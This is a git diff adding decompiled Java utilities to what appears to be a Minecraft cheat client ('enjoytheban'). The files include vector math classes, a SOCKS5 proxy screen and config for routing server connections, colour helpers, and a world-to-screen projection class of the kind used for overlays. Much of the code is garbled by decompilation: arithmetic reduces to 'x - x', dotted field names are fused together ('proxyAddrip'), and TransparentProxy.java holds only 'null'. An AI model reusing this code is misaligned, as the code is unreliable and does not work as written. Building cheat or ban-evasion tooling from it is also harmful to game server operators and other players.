diff --git a/src/minecraft/com/enjoytheban/utils/math/Vec3f.java b/src/minecraft/com/enjoytheban/utils/math/Vec3f.java
new file mode 100644
index 0000000..3b9dd4c
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/math/Vec3f.java
@@ -0,0 +1,208 @@
+package com.enjoytheban.utils.math;
+
+import com.enjoytheban.utils.render.gl.GLUtils;
+
+
+
+
+
+
+
+public final class Vec3f
+{
+  private double x;
+  private double y;
+  private double z;
+  
+  public Vec3f()
+  {
+    this(0.0D, 0.0D, 0.0D);
+  }
+  
+  public Vec3f(Vec3f vec) {
+    this(x, y, z);
+  }
+  
+  public Vec3f(double x, double y, double z) {
+    this.x = x;
+    this.y = y;
+    this.z = z;
+  }
+  
+
+
+
+
+
+  public final Vec3f setX(double x)
+  {
+    this.x = x;
+    return this;
+  }
+  
+
+
+
+
+
+  public final Vec3f setY(double y)
+  {
+    this.y = y;
+    return this;
+  }
+  
+
+
+
+
+
+  public final Vec3f setZ(double z)
+  {
+    this.z = z;
+    return this;
+  }
+  
+
+
+  public final double getX()
+  {
+    return x;
+  }
+  
+
+
+  public final double getY()
+  {
+    return y;
+  }
+  
+
+
+  public final double getZ()
+  {
+    return z;
+  }
+  
+
+
+
+
+
+  public final Vec3f add(Vec3f vec)
+  {
+    return add(x, y, z);
+  }
+  
+
+
+
+
+
+
+
+  public final Vec3f add(double x, double y, double z)
+  {
+    return new Vec3f(this.x + x, this.y + y, this.z + z);
+  }
+  
+
+
+
+
+
+  public final Vec3f sub(Vec3f vec)
+  {
+    return new Vec3f(x - x, y - y, z - z);
+  }
+  
+
+
+
+
+
+
+
+  public final Vec3f sub(double x, double y, double z)
+  {
+    return new Vec3f(this.x - x, this.y - y, this.z - z);
+  }
+  
+
+
+
+
+
+  public final Vec3f scale(float scale)
+  {
+    return new Vec3f(x * scale, y * scale, z * scale);
+  }
+  
+
+
+
+
+  public final Vec3f copy()
+  {
+    return new Vec3f(this);
+  }
+  
+
+
+
+
+
+  public final Vec3f transfer(Vec3f vec)
+  {
+    x = x;
+    y = y;
+    z = z;
+    return this;
+  }
+  
+
+
+
+
+  public final double distanceTo(Vec3f vec)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    double dz = z - z;
+    return Math.sqrt(dx * dx + dy * dy + dz * dz);
+  }
+  
+
+
+
+
+
+
+
+  public final Vec2f rotationsTo(Vec3f vec)
+  {
+    double[] diff = { x - x, y - y, z - z };
+    double hDist = Math.sqrt(diff[0] * diff[0] + diff[2] * diff[2]);
+    return new Vec2f(
+      Math.toDegrees(Math.atan2(diff[2], diff[0])) - 90.0D, 
+      -Math.toDegrees(Math.atan2(diff[1], hDist)));
+  }
+  
+
+
+
+
+
+  public final Vec3f toScreen()
+  {
+    return GLUtils.toScreen(this);
+  }
+  
+  public String toString()
+  {
+    return 
+    
+
+
+      "Vec3{x=" + x + ", y=" + y + ", z=" + z + '}';
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/math/Vec4f.java b/src/minecraft/com/enjoytheban/utils/math/Vec4f.java
new file mode 100644
index 0000000..8e23f96
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/math/Vec4f.java
@@ -0,0 +1,47 @@
+package com.enjoytheban.utils.math;
+
+public class Vec4f {
+  public float x;
+  public float y;
+  public float w;
+  public float h;
+  
+  public float getX() {
+    return x;
+  }
+  
+  public float getY() {
+    return y;
+  }
+  
+  public float getW() {
+    return w;
+  }
+  
+  public float getH() {
+    return h;
+  }
+  
+  public void setX(float x) {
+    this.x = x;
+  }
+  
+  public void setY(float y) {
+    this.y = y;
+  }
+  
+  public void setW(float w) {
+    this.w = w;
+  }
+  
+  public void setH(float h) {
+    this.h = h;
+  }
+  
+  public Vec4f(float x, float y, float w, float h) {
+    this.x = x;
+    this.y = y;
+    this.w = w;
+    this.h = h;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/proxy/ConnectionInfo.java b/src/minecraft/com/enjoytheban/utils/proxy/ConnectionInfo.java
new file mode 100644
index 0000000..1dcf192
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/proxy/ConnectionInfo.java
@@ -0,0 +1,9 @@
+package com.enjoytheban.utils.proxy;
+
+public class ConnectionInfo
+{
+  public String ip;
+  public int port;
+  
+  public ConnectionInfo() {}
+}
diff --git a/src/minecraft/com/enjoytheban/utils/proxy/GuiProxy.java b/src/minecraft/com/enjoytheban/utils/proxy/GuiProxy.java
new file mode 100644
index 0000000..83f9b67
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/proxy/GuiProxy.java
@@ -0,0 +1,125 @@
+package com.enjoytheban.utils.proxy;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiMultiplayer;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiTextField;
+import org.lwjgl.input.Keyboard;
+
+
+public class GuiProxy
+  extends GuiScreen
+{
+  private GuiMultiplayer prevMenu;
+  private GuiTextField proxyBox;
+  private String error = "";
+  
+  public static boolean connected = false;
+  
+  public GuiProxy(GuiMultiplayer guiMultiplayer) {
+    prevMenu = guiMultiplayer;
+  }
+  
+  public void updateScreen()
+  {
+    proxyBox.updateCursorCounter();
+  }
+  
+  public void initGui()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, height / 4 + 120 + 12, "Back"));
+    buttonList.add(new GuiButton(1, width / 2 - 100, height / 4 + 72 + 12, "Connect"));
+    buttonList.add(new GuiButton(2, width / 2 - 100, height / 4 + 96 + 12, "Disconnect"));
+    proxyBox = new GuiTextField(0, fontRendererObj, width / 2 - 100, 60, 200, 20);
+    proxyBox.setFocused(true);
+  }
+  
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  protected void actionPerformed(GuiButton clickedButton)
+  {
+    if (enabled) {
+      if (id == 0) {
+        mc.displayGuiScreen(prevMenu);
+      } else if (id == 1) {
+        if ((!proxyBox.getText().contains(":")) || (proxyBox.getText().split(":").length != 2)) {
+          error = "Not a proxy!";
+          return;
+        }
+        String[] parts = proxyBox.getText().split(":");
+        
+        if ((isInteger(parts[1])) && (Integer.parseInt(parts[1]) <= 65536)) Integer.parseInt(parts[1]);
+        try
+        {
+          ProxyConfig.proxyAddr = new ConnectionInfo();
+          proxyAddrip = parts[0];
+          proxyAddrport = Integer.parseInt(parts[1]);
+          connected = true;
+        } catch (Exception e) {
+          error = e.toString();
+          return;
+        }
+        if (error.isEmpty()) {}
+
+
+      }
+      else if (id == 2) {
+        ProxyConfig.stop();
+        connected = false;
+      }
+    }
+  }
+  
+  protected void keyTyped(char par1, int par2)
+  {
+    proxyBox.textboxKeyTyped(par1, par2);
+    
+    if ((par2 == 28) || (par2 == 156)) {
+      actionPerformed((GuiButton)buttonList.get(1));
+    }
+  }
+  
+  protected void mouseClicked(int par1, int par2, int par3) throws IOException {
+    super.mouseClicked(par1, par2, par3);
+    proxyBox.mouseClicked(par1, par2, par3);
+    if (proxyBox.isFocused()) {
+      error = "";
+    }
+  }
+  
+  public void drawScreen(int par1, int par2, float par3) {
+    drawDefaultBackground();
+    mc.fontRendererObj.drawCenteredString("Proxies Reloaded", width / 2, 20, 16777215);
+    mc.fontRendererObj.drawCenteredString("(SOCKS5 Proxies only)", width / 2, 30, 16777215);
+    mc.fontRendererObj.drawStringWithShadow("IP:Port", width / 2 - 100, 47.0F, 10526880);
+    mc.fontRendererObj.drawCenteredString(error, width / 2, 95, 16711680);
+    String currentProxy = "";
+    if (connected) {
+      currentProxy = "§a" + proxyAddrip + ":" + proxyAddrport;
+    }
+    if (!connected) {
+      currentProxy = "§cN/A";
+    }
+    mc.fontRendererObj.drawStringWithShadow("Current proxy: " + currentProxy, 1.0F, 3.0F, -1);
+    proxyBox.drawTextBox();
+    super.drawScreen(par1, par2, par3);
+  }
+  
+  public static boolean isInteger(String s) {
+    try {
+      Integer.parseInt(s);
+    } catch (NumberFormatException e) {
+      return false;
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/proxy/ProxyConfig.java b/src/minecraft/com/enjoytheban/utils/proxy/ProxyConfig.java
new file mode 100644
index 0000000..66d87a2
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/proxy/ProxyConfig.java
@@ -0,0 +1,108 @@
+package com.enjoytheban.utils.proxy;
+
+import com.enjoytheban.api.EventHandler;
+import com.enjoytheban.api.events.world.EventTick;
+import com.enjoytheban.utils.Helper;
+import java.net.ServerSocket;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiDisconnected;
+import net.minecraft.client.gui.GuiMainMenu;
+import net.minecraft.client.gui.GuiMultiplayer;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.realms.RealmsBridge;
+import net.minecraft.util.ChatComponentText;
+
+
+
+
+
+
+
+public class ProxyConfig
+{
+  public ProxyConfig() {}
+  
+  public static int listenerPort = findFreePort(29999);
+  public static TransparentProxy proxy = null;
+  public static ConnectionInfo proxyAddr = null;
+  
+  public static ConnectionInfo connect(String ip, int port) {
+    if (proxyAddr != null) {
+      if (proxy == null) {
+        proxy = new TransparentProxy(listenerPort);
+      }
+      if (proxy.isRunning()) {
+        proxy.stop();
+      }
+      try {
+        proxy.start(proxyAddrip, proxyAddrport, ip, port);
+        while ((!proxy.isReady()) && (!proxy.hasFailed())) {
+          Thread.sleep(50L);
+        }
+        if (proxy.hasFailed()) {
+          throw proxy.getFailReason();
+        }
+        ConnectionInfo returnment = new ConnectionInfo();
+        ip = "127.0.0.1";
+        port = listenerPort;
+        return returnment;
+      } catch (Exception e) {
+        e.printStackTrace();
+        ConnectionInfo returnment = new ConnectionInfo();
+        ip = ip;
+        port = port;
+        return returnment;
+      }
+    }
+    ConnectionInfo returnment = new ConnectionInfo();
+    ip = ip;
+    port = port;
+    return returnment;
+  }
+  
+  @EventHandler
+  public void onGlobalGameLoop(EventTick e) {
+    if ((proxy != null) && (proxy.isRunning()) && (proxy.hasFailed())) {
+      boolean flag = Helper.mc.isIntegratedServerRunning();
+      boolean flag1 = Helper.mc.isSingleplayer();
+      mctheWorld.sendQuittingDisconnectingPacket();
+      Helper.mc.loadWorld(null);
+      if (flag) {
+        Helper.mc.displayGuiScreen(new GuiDisconnected(new GuiMultiplayer(new GuiMainMenu()), "disconnect.closed", new ChatComponentText("[AC-Proxy] Lost Connection to server!")));
+      } else if (flag1) {
+        RealmsBridge realmsbridge = new RealmsBridge();
+        realmsbridge.switchToRealms(new GuiDisconnected(new GuiMultiplayer(new GuiMainMenu()), "disconnect.closed", new ChatComponentText("[AC-Proxy] Lost Connection to server!")));
+      } else {
+        Helper.mc.displayGuiScreen(new GuiDisconnected(new GuiMultiplayer(new GuiMainMenu()), "disconnect.closed", new ChatComponentText("[AC-Proxy] Lost Connection to server!")));
+      }
+    }
+  }
+  
+
+
+
+
+
+  public static void stop()
+  {
+    if (proxy != null) {
+      proxy.stop();
+    }
+  }
+  
+  private static int findFreePort(int start)
+  {
+    int cur = new Random().nextInt(10000) + start - 1;
+    for (;;)
+    {
+      try {
+        ServerSocket sock = new ServerSocket(cur, 1);
+        sock.close();
+        return cur;
+      } catch (Exception var3) {
+        cur = new Random().nextInt(10000) + start - 1;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/proxy/ProxySocket.java b/src/minecraft/com/enjoytheban/utils/proxy/ProxySocket.java
new file mode 100644
index 0000000..ce91cc1
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/proxy/ProxySocket.java
@@ -0,0 +1,17 @@
+package com.enjoytheban.utils.proxy;
+
+import java.net.Socket;
+
+public class ProxySocket
+{
+  public ProxySocket() {}
+  
+  public static Socket connectOverProxy(String proxyAdress, int proxyPort, String destAddress, int destPort) throws Exception
+  {
+    java.net.Proxy proxy = new java.net.Proxy(java.net.Proxy.Type.SOCKS, new java.net.InetSocketAddress(proxyAdress, proxyPort));
+    Socket returnment = new Socket(proxy);
+    returnment.setTcpNoDelay(true);
+    returnment.connect(new java.net.InetSocketAddress(destAddress, destPort));
+    return returnment;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/proxy/TransparentProxy.java b/src/minecraft/com/enjoytheban/utils/proxy/TransparentProxy.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/proxy/TransparentProxy.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/utils/render/ColorUtils.java b/src/minecraft/com/enjoytheban/utils/render/ColorUtils.java
new file mode 100644
index 0000000..c74dc79
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/ColorUtils.java
@@ -0,0 +1,166 @@
+package com.enjoytheban.utils.render;
+
+import java.awt.Color;
+
+public class ColorUtils {
+  public ColorUtils() {}
+  
+  public static int randomColor() { return 0xFF000000 | (int)(Math.random() * 1.6777215E7D); }
+  
+  public static int transparency(int color, double alpha)
+  {
+    Color c = new Color(color);
+    float r = 0.003921569F * c.getRed();
+    float g = 0.003921569F * c.getGreen();
+    float b = 0.003921569F * c.getBlue();
+    return new Color(r, g, b, (float)alpha).getRGB();
+  }
+  
+  public static int transparency(Color color, double alpha) {
+    return new Color(color.getRed(), color.getGreen(), color.getBlue(), (float)alpha).getRGB();
+  }
+  
+  public static Color rainbow(long offset, float fade) {
+    float hue = (float)(System.nanoTime() + offset) / 1.0E10F % 1.0F;
+    long color = Long.parseLong(Integer.toHexString(Integer.valueOf(Color.HSBtoRGB(hue, 1.0F, 1.0F)).intValue()), 16);
+    Color c = new Color((int)color);
+    return new Color(c.getRed() / 255.0F * fade, c.getGreen() / 255.0F * fade, c.getBlue() / 255.0F * fade, c.getAlpha() / 255.0F);
+  }
+  
+  public static float[] getRGBA(int color) {
+    float a = (color >> 24 & 0xFF) / 255.0F;
+    float r = (color >> 16 & 0xFF) / 255.0F;
+    float g = (color >> 8 & 0xFF) / 255.0F;
+    float b = (color & 0xFF) / 255.0F;
+    return new float[] { r, g, b, a };
+  }
+  
+  public static int intFromHex(String hex) {
+    try {
+      if (hex.equalsIgnoreCase("rainbow")) {
+        return rainbow(0L, 1.0F).getRGB();
+      }
+      return Integer.parseInt(hex, 16);
+    }
+    catch (NumberFormatException e) {}
+    return -1;
+  }
+  
+  public static String hexFromInt(int color)
+  {
+    return hexFromInt(new Color(color));
+  }
+  
+  public static String hexFromInt(Color color) {
+    return Integer.toHexString(color.getRGB()).substring(2);
+  }
+  
+  public static Color blend(Color color1, Color color2, double ratio) {
+    float r = (float)ratio;
+    float ir = 1.0F - r;
+    float[] rgb1 = new float[3];
+    float[] rgb2 = new float[3];
+    color1.getColorComponents(rgb1);
+    color2.getColorComponents(rgb2);
+    Color color3 = new Color(rgb1[0] * r + rgb2[0] * ir, rgb1[1] * r + rgb2[1] * ir, rgb1[2] * r + rgb2[2] * ir);
+    return color3;
+  }
+  
+  public static Color blend(Color color1, Color color2) {
+    return blend(color1, color2, 0.5D);
+  }
+  
+  public static Color darker(Color color, double fraction) {
+    int red = (int)Math.round(color.getRed() * (1.0D - fraction));
+    int green = (int)Math.round(color.getGreen() * (1.0D - fraction));
+    int blue = (int)Math.round(color.getBlue() * (1.0D - fraction));
+    if (red < 0) {
+      red = 0;
+    }
+    else if (red > 255) {
+      red = 255;
+    }
+    if (green < 0) {
+      green = 0;
+    }
+    else if (green > 255) {
+      green = 255;
+    }
+    if (blue < 0) {
+      blue = 0;
+    }
+    else if (blue > 255) {
+      blue = 255;
+    }
+    int alpha = color.getAlpha();
+    return new Color(red, green, blue, alpha);
+  }
+  
+  public static Color lighter(Color color, double fraction) {
+    int red = (int)Math.round(color.getRed() * (1.0D + fraction));
+    int green = (int)Math.round(color.getGreen() * (1.0D + fraction));
+    int blue = (int)Math.round(color.getBlue() * (1.0D + fraction));
+    if (red < 0) {
+      red = 0;
+    }
+    else if (red > 255) {
+      red = 255;
+    }
+    if (green < 0) {
+      green = 0;
+    }
+    else if (green > 255) {
+      green = 255;
+    }
+    if (blue < 0) {
+      blue = 0;
+    }
+    else if (blue > 255) {
+      blue = 255;
+    }
+    int alpha = color.getAlpha();
+    return new Color(red, green, blue, alpha);
+  }
+  
+  public static String getHexName(Color color) {
+    int r = color.getRed();
+    int g = color.getGreen();
+    int b = color.getBlue();
+    String rHex = Integer.toString(r, 16);
+    String gHex = Integer.toString(g, 16);
+    String bHex = Integer.toString(b, 16);
+    return String.valueOf(rHex.length() == 2 ? rHex : new StringBuilder("0").append(rHex).toString()) + (gHex.length() == 2 ? gHex : new StringBuilder("0").append(gHex).toString()) + (bHex.length() == 2 ? bHex : new StringBuilder("0").append(bHex).toString());
+  }
+  
+  public static double colorDistance(double r1, double g1, double b1, double r2, double g2, double b2) {
+    double a = r2 - r1;
+    double b3 = g2 - g1;
+    double c = b2 - b1;
+    return Math.sqrt(a * a + b3 * b3 + c * c);
+  }
+  
+  public static double colorDistance(double[] color1, double[] color2) {
+    return colorDistance(color1[0], color1[1], color1[2], color2[0], color2[1], color2[2]);
+  }
+  
+  public static double colorDistance(Color color1, Color color2) {
+    float[] rgb1 = new float[3];
+    float[] rgb2 = new float[3];
+    color1.getColorComponents(rgb1);
+    color2.getColorComponents(rgb2);
+    return colorDistance(rgb1[0], rgb1[1], rgb1[2], rgb2[0], rgb2[1], rgb2[2]);
+  }
+  
+  public static boolean isDark(double r, double g, double b) {
+    double dWhite = colorDistance(r, g, b, 1.0D, 1.0D, 1.0D);
+    double dBlack = colorDistance(r, g, b, 0.0D, 0.0D, 0.0D);
+    return dBlack < dWhite;
+  }
+  
+  public static boolean isDark(Color color) {
+    float r = color.getRed() / 255.0F;
+    float g = color.getGreen() / 255.0F;
+    float b = color.getBlue() / 255.0F;
+    return isDark(r, g, b);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/GLUProjection.java b/src/minecraft/com/enjoytheban/utils/render/GLUProjection.java
new file mode 100644
index 0000000..48a5afb
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/GLUProjection.java
@@ -0,0 +1,557 @@
+package com.enjoytheban.utils.render;
+
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.util.glu.GLU;
+import org.lwjgl.util.vector.Matrix4f;
+
+
+public final class GLUProjection
+{
+  private static GLUProjection instance;
+  private final FloatBuffer coords = BufferUtils.createFloatBuffer(3);
+  private IntBuffer viewport;
+  private FloatBuffer modelview;
+  private FloatBuffer projection;
+  private Vector3D frustumPos;
+  private Vector3D[] frustum;
+  private Vector3D[] invFrustum;
+  private Vector3D viewVec;
+  private double displayWidth;
+  private double displayHeight;
+  private double widthScale;
+  private double heightScale;
+  private double bra;
+  private double bla;
+  private double tra;
+  private double tla;
+  private Line tb;
+  private Line bb;
+  private Line lb;
+  private Line rb;
+  private float fovY;
+  private float fovX;
+  private Vector3D lookVec;
+  
+  public GLUProjection() {}
+  
+  public static GLUProjection getInstance() { if (instance == null) {
+      instance = new GLUProjection();
+    }
+    return instance;
+  }
+  
+  public void updateMatrices(IntBuffer viewport, FloatBuffer modelview, FloatBuffer projection, double widthScale, double heightScale)
+  {
+    this.viewport = viewport;
+    this.modelview = modelview;
+    this.projection = projection;
+    this.widthScale = widthScale;
+    this.heightScale = heightScale;
+    
+    float fov = (float)Math.toDegrees(Math.atan(1.0D / this.projection.get(5)) * 2.0D);
+    fovY = fov;
+    displayWidth = this.viewport.get(2);
+    displayHeight = this.viewport.get(3);
+    fovX = ((float)Math.toDegrees(2.0D * Math.atan(displayWidth / displayHeight * Math.tan(Math.toRadians(fovY) / 2.0D))));
+    
+    Vector3D ft = new Vector3D(this.modelview.get(12), this.modelview.get(13), this.modelview.get(14));
+    Vector3D lv = new Vector3D(this.modelview.get(0), this.modelview.get(1), this.modelview.get(2));
+    Vector3D uv = new Vector3D(this.modelview.get(4), this.modelview.get(5), this.modelview.get(6));
+    Vector3D fv = new Vector3D(this.modelview.get(8), this.modelview.get(9), this.modelview.get(10));
+    
+    Vector3D nuv = new Vector3D(0.0D, 1.0D, 0.0D);
+    Vector3D nlv = new Vector3D(1.0D, 0.0D, 0.0D);
+    Vector3D nfv = new Vector3D(0.0D, 0.0D, 1.0D);
+    
+    double yaw = Math.toDegrees(Math.atan2(nlv.cross(lv).length(), nlv.dot(lv))) + 180.0D;
+    if (x < 0.0D) {
+      yaw = 360.0D - yaw;
+    }
+    double pitch = 0.0D;
+    if (((-y > 0.0D) && (yaw >= 90.0D) && (yaw < 270.0D)) || ((y > 0.0D) && ((yaw < 90.0D) || (yaw >= 270.0D)))) {
+      pitch = Math.toDegrees(Math.atan2(nuv.cross(uv).length(), nuv.dot(uv)));
+    } else {
+      pitch = -Math.toDegrees(Math.atan2(nuv.cross(uv).length(), nuv.dot(uv)));
+    }
+    lookVec = getRotationVector(yaw, pitch);
+    
+    Matrix4f modelviewMatrix = new Matrix4f();
+    modelviewMatrix.load(this.modelview.asReadOnlyBuffer());
+    modelviewMatrix.invert();
+    
+    frustumPos = new Vector3D(m30, m31, m32);
+    frustum = getFrustum(frustumPos.x, frustumPos.y, frustumPos.z, yaw, pitch, fov, 1.0D, displayWidth / displayHeight);
+    invFrustum = getFrustum(frustumPos.x, frustumPos.y, frustumPos.z, yaw - 180.0D, -pitch, fov, 1.0D, displayWidth / displayHeight);
+    
+    viewVec = getRotationVector(yaw, pitch).normalized();
+    
+    bra = Math.toDegrees(Math.acos(displayHeight * heightScale / Math.sqrt(displayWidth * widthScale * displayWidth * widthScale + displayHeight * heightScale * displayHeight * heightScale)));
+    bla = (360.0D - bra);
+    tra = (bla - 180.0D);
+    tla = (bra + 180.0D);
+    
+    rb = new Line(displayWidth * this.widthScale, 0.0D, 0.0D, 0.0D, 1.0D, 0.0D);
+    tb = new Line(0.0D, 0.0D, 0.0D, 1.0D, 0.0D, 0.0D);
+    lb = new Line(0.0D, 0.0D, 0.0D, 0.0D, 1.0D, 0.0D);
+    bb = new Line(0.0D, displayHeight * this.heightScale, 0.0D, 1.0D, 0.0D, 0.0D);
+  }
+  
+  public Projection project(double x, double y, double z, ClampMode clampModeOutside, boolean extrudeInverted)
+  {
+    if ((viewport != null) && (modelview != null) && (projection != null))
+    {
+      Vector3D posVec = new Vector3D(x, y, z);
+      boolean[] frustum = doFrustumCheck(this.frustum, frustumPos, x, y, z);
+      boolean outsideFrustum = (frustum[0] != 0) || (frustum[1] != 0) || (frustum[2] != 0) || (frustum[3] != 0);
+      if (outsideFrustum)
+      {
+        boolean opposite = posVec.sub(frustumPos).dot(viewVec) <= 0.0D;
+        
+        boolean[] invFrustum = doFrustumCheck(this.invFrustum, frustumPos, x, y, z);
+        boolean outsideInvertedFrustum = (invFrustum[0] != 0) || (invFrustum[1] != 0) || (invFrustum[2] != 0) || (invFrustum[3] != 0); if (((extrudeInverted) && (!outsideInvertedFrustum)) || ((outsideInvertedFrustum) && (clampModeOutside != ClampMode.NONE)))
+        {
+          if (((extrudeInverted) && (!outsideInvertedFrustum)) || ((clampModeOutside == ClampMode.DIRECT) && (outsideInvertedFrustum)))
+          {
+            double vecX = 0.0D;
+            double vecY = 0.0D;
+            if (GLU.gluProject((float)x, (float)y, (float)z, modelview, projection, viewport, coords))
+            {
+              if (opposite)
+              {
+                vecX = displayWidth * widthScale - coords.get(0) * widthScale - displayWidth * widthScale / 2.0D;
+                vecY = displayHeight * heightScale - (displayHeight - coords.get(1)) * heightScale - displayHeight * heightScale / 2.0D;
+              }
+              else
+              {
+                vecX = coords.get(0) * widthScale - displayWidth * widthScale / 2.0D;
+                vecY = (displayHeight - coords.get(1)) * heightScale - displayHeight * heightScale / 2.0D;
+              }
+            }
+            else {
+              return new Projection(0.0D, 0.0D, GLUProjection.Projection.Type.FAIL);
+            }
+            Vector3D vec = new Vector3D(vecX, vecY, 0.0D).snormalize();
+            vecX = x;
+            vecY = y;
+            
+            Line vectorLine = new Line(displayWidth * widthScale / 2.0D, displayHeight * heightScale / 2.0D, 0.0D, vecX, vecY, 0.0D);
+            
+            double angle = Math.toDegrees(Math.acos(y / Math.sqrt(x * x + y * y)));
+            if (vecX < 0.0D) {
+              angle = 360.0D - angle;
+            }
+            Vector3D intersect = new Vector3D(0.0D, 0.0D, 0.0D);
+            if ((angle >= bra) && (angle < tra)) {
+              intersect = rb.intersect(vectorLine);
+            } else if ((angle >= tra) && (angle < tla)) {
+              intersect = tb.intersect(vectorLine);
+            } else if ((angle >= tla) && (angle < bla)) {
+              intersect = lb.intersect(vectorLine);
+            } else {
+              intersect = bb.intersect(vectorLine);
+            }
+            return new Projection(x, y, outsideInvertedFrustum ? GLUProjection.Projection.Type.OUTSIDE : GLUProjection.Projection.Type.INVERTED);
+          }
+          if ((clampModeOutside == ClampMode.ORTHOGONAL) && (outsideInvertedFrustum))
+          {
+            if (GLU.gluProject((float)x, (float)y, (float)z, modelview, projection, viewport, coords))
+            {
+              double guiX = coords.get(0) * widthScale;
+              double guiY = (displayHeight - coords.get(1)) * heightScale;
+              if (opposite)
+              {
+                guiX = displayWidth * widthScale - guiX;
+                guiY = displayHeight * heightScale - guiY;
+              }
+              if (guiX < 0.0D) {
+                guiX = 0.0D;
+              } else if (guiX > displayWidth * widthScale) {
+                guiX = displayWidth * widthScale;
+              }
+              if (guiY < 0.0D) {
+                guiY = 0.0D;
+              } else if (guiY > displayHeight * heightScale) {
+                guiY = displayHeight * heightScale;
+              }
+              return new Projection(guiX, guiY, outsideInvertedFrustum ? GLUProjection.Projection.Type.OUTSIDE : GLUProjection.Projection.Type.INVERTED);
+            }
+            return new Projection(0.0D, 0.0D, GLUProjection.Projection.Type.FAIL);
+          }
+        }
+        else
+        {
+          if (GLU.gluProject((float)x, (float)y, (float)z, modelview, projection, viewport, coords))
+          {
+            double guiX = coords.get(0) * widthScale;
+            double guiY = (displayHeight - coords.get(1)) * heightScale;
+            if (opposite)
+            {
+              guiX = displayWidth * widthScale - guiX;
+              guiY = displayHeight * heightScale - guiY;
+            }
+            return new Projection(guiX, guiY, outsideInvertedFrustum ? GLUProjection.Projection.Type.OUTSIDE : GLUProjection.Projection.Type.INVERTED);
+          }
+          return new Projection(0.0D, 0.0D, GLUProjection.Projection.Type.FAIL);
+        }
+      }
+      else
+      {
+        if (GLU.gluProject((float)x, (float)y, (float)z, modelview, projection, viewport, coords))
+        {
+          double guiX = coords.get(0) * widthScale;
+          double guiY = (displayHeight - coords.get(1)) * heightScale;
+          return new Projection(guiX, guiY, GLUProjection.Projection.Type.INSIDE);
+        }
+        return new Projection(0.0D, 0.0D, GLUProjection.Projection.Type.FAIL);
+      }
+    }
+    return new Projection(0.0D, 0.0D, GLUProjection.Projection.Type.FAIL);
+  }
+  
+  public boolean[] doFrustumCheck(Vector3D[] frustumCorners, Vector3D frustumPos, double x, double y, double z)
+  {
+    Vector3D point = new Vector3D(x, y, z);
+    boolean c1 = crossPlane(new Vector3D[] { frustumPos, frustumCorners[3], frustumCorners[0] }, point);
+    boolean c2 = crossPlane(new Vector3D[] { frustumPos, frustumCorners[0], frustumCorners[1] }, point);
+    boolean c3 = crossPlane(new Vector3D[] { frustumPos, frustumCorners[1], frustumCorners[2] }, point);
+    boolean c4 = crossPlane(new Vector3D[] { frustumPos, frustumCorners[2], frustumCorners[3] }, point);
+    return new boolean[] { c1, c2, c3, c4 };
+  }
+  
+  public boolean crossPlane(Vector3D[] plane, Vector3D point)
+  {
+    Vector3D z = new Vector3D(0.0D, 0.0D, 0.0D);
+    Vector3D e0 = plane[1].sub(plane[0]);
+    Vector3D e1 = plane[2].sub(plane[0]);
+    Vector3D normal = e0.cross(e1).snormalize();
+    double D = z.sub(normal).dot(plane[2]);
+    double dist = normal.dot(point) + D;
+    return dist >= 0.0D;
+  }
+  
+  public Vector3D[] getFrustum(double x, double y, double z, double rotationYaw, double rotationPitch, double fov, double farDistance, double aspectRatio)
+  {
+    Vector3D viewVec = getRotationVector(rotationYaw, rotationPitch).snormalize();
+    double hFar = 2.0D * Math.tan(Math.toRadians(fov / 2.0D)) * farDistance;
+    double wFar = hFar * aspectRatio;
+    Vector3D view = getRotationVector(rotationYaw, rotationPitch).snormalize();
+    Vector3D up = getRotationVector(rotationYaw, rotationPitch - 90.0D).snormalize();
+    Vector3D right = getRotationVector(rotationYaw + 90.0D, 0.0D).snormalize();
+    Vector3D camPos = new Vector3D(x, y, z);
+    Vector3D view_camPos_product = view.add(camPos);
+    Vector3D fc = new Vector3D(x * farDistance, y * farDistance, z * farDistance);
+    Vector3D topLeftfrustum = new Vector3D(x + x * hFar / 2.0D - x * wFar / 2.0D, y + y * hFar / 2.0D - y * wFar / 2.0D, z + z * hFar / 2.0D - z * wFar / 2.0D);
+    Vector3D downLeftfrustum = new Vector3D(x - x * hFar / 2.0D - x * wFar / 2.0D, y - y * hFar / 2.0D - y * wFar / 2.0D, z - z * hFar / 2.0D - z * wFar / 2.0D);
+    Vector3D topRightfrustum = new Vector3D(x + x * hFar / 2.0D + x * wFar / 2.0D, y + y * hFar / 2.0D + y * wFar / 2.0D, z + z * hFar / 2.0D + z * wFar / 2.0D);
+    Vector3D downRightfrustum = new Vector3D(x - x * hFar / 2.0D + x * wFar / 2.0D, y - y * hFar / 2.0D + y * wFar / 2.0D, z - z * hFar / 2.0D + z * wFar / 2.0D);
+    return new Vector3D[] { topLeftfrustum, downLeftfrustum, downRightfrustum, topRightfrustum };
+  }
+  
+  public Vector3D[] getFrustum()
+  {
+    return frustum;
